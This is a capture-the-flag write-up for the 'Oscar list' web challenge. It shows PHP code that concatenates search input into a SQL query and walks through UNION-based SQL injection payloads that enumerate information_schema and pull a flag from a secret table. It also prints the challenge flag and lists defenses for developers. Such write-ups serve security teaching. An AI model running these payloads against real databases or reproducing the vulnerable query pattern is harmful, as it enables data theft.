Oscar list - Extract Flag from Secret Table

Overview

This challenge simulates a movie list management web application with search functionality. Users can input movie names to search, but improper input handling has created a classic SQL Injection vulnerability. Through UNION-based techniques, we can query data from other tables in the database, including the secret table containing the flag.

Challenge Information

• Category: Web Security
• Difficulty: Medium
• Points: 200
• Vulnerability: SQL Injection (UNION-based)
• Skills: SQL, Web Exploitation, Database Enumeration

Vulnerability Analysis

Source Code

Here is the vulnerable PHP code snippet:

<?php
if (isset($_GET['nameInput'])) {
    $name = $_GET['nameInput'];  // Unprocessed user input

    $query = "SELECT * FROM movies WHERE name LIKE '%$name%'";  // ⚠️ Dilrectly concatenated into query!

    $result = mysqli_query($conn, $query);

    while ($row = mysqli_fetch_assoc($result)) {
        echo $row['name'] . "<br>";
    }
}
?>

The Problem

1. Unsanitized Input: User data is used directly in SQL query
2. String Concatenation: Using simple string concatenation to build query
3. No Prepared Statements: No separation of data and SQL code
4. No Input Validation: No check on input validity

Risks

An attacker can:

• Query data from other tables in database
• Bypass authentication mechanisms
• Extract sensitive information (passwords, flags, user data)
• Modify or delete database records
• Execute administrative operations

Exploitation

How It Works

SQL Injection UNION works by:

1. Ending the original query by inserting special characters
2. Using UNION to combine results from original query with new query
3. Extracting data from other tables

Step 1: Determine Number of Columns

First, find the number of columns in the original table using ORDER BY:

# Payload to find column count
' ORDER BY 1--    # No error
' ORDER BY 2--    # No error
' ORDER BY 3--    # No error
' ORDER BY 4--    # No error
' ORDER BY 5--    # No error
' ORDER BY 6--    # Error - only 5 columns

Step 2: Determine Displayed Columns

Find which columns are displayed on the interface:

# Payload to find displayed columns
' UNION SELECT 1,2,3,4,5--    # Try all columns
' UNION SELECT NULL,2,NULL,4,NULL--    # Only column 2 and 4 display

Assume columns 2 and 4 display results.

Step 3: Extract Database Information

Get current database name:

# Payload to get db name
' UNION SELECT 1,database(),3,4,5--

Step 4: List Tables

Extract list of tables in database:

# Payload to list tables
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables--

Step 5: Find Secret Table

After listing tables, find the secret table:

# Payload to find secret table
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_name='secret'--

Step 6: List Columns in Secret Table

# Payload to list columns
' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='secret'--

Assume secret table has flag column.

Step 7: Extract Flag

Finally, extract flag from secret table:

# Payload to get flag
' UNION SELECT NULL,flag,NULL,NULL,NULL FROM secret--

SQL Injection Techniques Explanation Table

Flag

BPCTF{d0nt_4dd_4ll_7h3_f1lm5_1ba772ba5d3884b96427b4fb0ec4e8c6}

Key Takeaways

For Developers

1. Always use prepared statements or parameterized queries

   • This is the most effective defense against SQL Injection
   • Separates SQL code from user data

2. Validate input from all sources

   • Client-side validation is only for UX, not security
   • Server-side validation is mandatory

3. Principle of least privilege

   • Database user should only have necessary permissions
   • Do not use root account for web applications

4. Proper Error Handling

   • Do not expose database errors to user
   • Log errors for debugging without revealing sensitive info

5. Use ORM or Query Builders

   • Modern frameworks have built-in protection
   • Example: PDO in PHP, SQLAlchemy in Python